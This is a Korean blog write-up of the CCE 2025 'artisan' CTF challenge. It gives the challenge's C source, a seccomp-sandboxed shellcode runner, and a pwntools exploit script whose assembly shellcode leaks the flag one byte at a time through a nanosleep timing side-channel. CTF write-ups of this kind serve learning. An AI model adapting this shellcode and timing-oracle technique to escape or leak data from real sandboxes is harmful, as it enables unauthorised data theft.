ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • [CCE 2025] artisan Writeup
    CTF 2025. 8. 31. 15:18
    #include <stdio.h>
    #include <stdlib.h>
    #include <unistd.h>
    #include <sys/mman.h>
    #include <string.h>
    #include <fcntl.h>
    #include <seccomp.h>
    #include <linux/seccomp.h>
    
    #define LENGTH 128
    
    volatile char flag_mem[0x50] = {0};
    
    void sandbox(){
    	scmp_filter_ctx ctx = seccomp_init(SCMP_ACT_KILL);
    	if (ctx == NULL) {
    		printf("seccomp error\n");
    		exit(0);
    	}
    
    	seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(nanosleep), 0);
    
    	if (seccomp_load(ctx) < 0){
    		seccomp_release(ctx);
    		printf("seccomp error\n");
    		exit(0);
    	}
    }
    
    char stub[] = "\x48\x31\xc0\x48\x31\xdb\x48\x31\xc9\x48\x31\xd2\x48\x31\xf6\x48\x31\xff\x48\x31\xed\x4d\x31\xc0\x4d\x31\xc9\x4d\x31\xd2\x4d\x31\xdb\x4d\x31\xe4\x4d\x31\xed\x4d\x31\xf6\x4d\x31\xff";
    
    int main(int argc, char* argv[]){
    
    	setvbuf(stdout, 0, _IONBF, 0);
    	setvbuf(stdin, 0, _IOLBF, 0);
        
        int fd = open("./flag", O_RDONLY);
        if (fd == -1) {
            perror("open");
            return 1;
        }
        read(fd, flag_mem, 0x50);
        close(fd);
        
    	char* sh = (char*)mmap((void*)0x40400000, 0x1000, 7, MAP_ANONYMOUS | MAP_FIXED | MAP_PRIVATE, 0, 0);
    	memset(sh, 0x90, 0x1000);
    	memcpy(sh, stub, strlen(stub));
    	
    	int offset = sizeof(stub);
    	printf("Enter your shellcode: ");
    	read(0, sh+offset, 0x900);
    
    	alarm(10);
    	chroot("/home/ctf");
    	sandbox();
    	((void (*)(void))sh)();
    	return 0;
    }

    문제 코드가 주어지고 따로 환경에 대한 정보는 없습니다.

     

    코드를 보면 flag를 읽어서 flag_mem이라는 전역변수에 저장합니다. 

    그리고 쉘코드를 입력받고 stub뒤에 붙여서 실행합니다.

     

    seccomp으로 nanosleep syscall만 사용가능합니다.

     

    쉘코드 실행될 때 flag_mem의 offset을 구해서 한자리씩 brute force하면서

    맞으면 nanosleep틀리면 pass하게 쉘코드를 짜주면 됩니다.

     

    생각해보니 nanosleep 없어도 그냥 무한루프 돌게만 해줘도 될것같습니다.

     

    Exploit

    from pwn import *
    import string
    import time
    
    binary = "./prob"
    elf = context.binary = ELF(binary, checksec=False)
    
    FLAG_LEN = 0x50  
    
    
    def build_shellcode(index, guess_byte):
    
        sc = f"""
            mov rsi, [rsp]
            add rsi, 0x2b0e
            add rsi, {index}
    
            /* load byte and compare */
            mov al, BYTE PTR [rsi]
            cmp al, {guess_byte}
            je do_sleep
    
            /* exit(0) */
            xor rdi, rdi
            mov rax, 60
            syscall
    
        do_sleep:
            sub rsp, 0x10
            mov qword ptr [rsp], 2
            mov qword ptr [rsp+8], 0
            mov rdi, rsp
            xor rsi, rsi
            mov rax, 35
            syscall
            add rsp, 0x10
    
            ret
        """
        return asm(sc, arch='amd64')
    
    def run_guess(offset, letter):
    
        p = process(binary)
        # p = remote("3.38.198.197", 54321)
    
        p.recvuntil(b"Enter your shellcode: ")
    
        shellcode = build_shellcode(offset, ord(letter))
        p.send(shellcode.ljust(127, b"\x90"))
    
        start = time.time()
        try:
            p.recvline()
        except EOFError:
            pass
        elapsed = time.time() - start
        p.close()
    
        return elapsed
    
    flag = ""
    for i in range(FLAG_LEN):
        for c in string.printable:
            t = run_guess(i, c)
            print(f"Testing {c} at position {i}, time: {t:.2f}s")
            if t > 1:
                print(f"Found character: {c}")
                flag += c
                break
    
    print("flag:", flag)

     

    로컬에서는 flag를 땄는데 시간이 없어 remote offset을 못구했습니당ㅠ

    'CTF' 카테고리의 다른 글

    [CCE 2025] book Writeup  (0) 2025.08.31

    댓글

Designed by Tistory.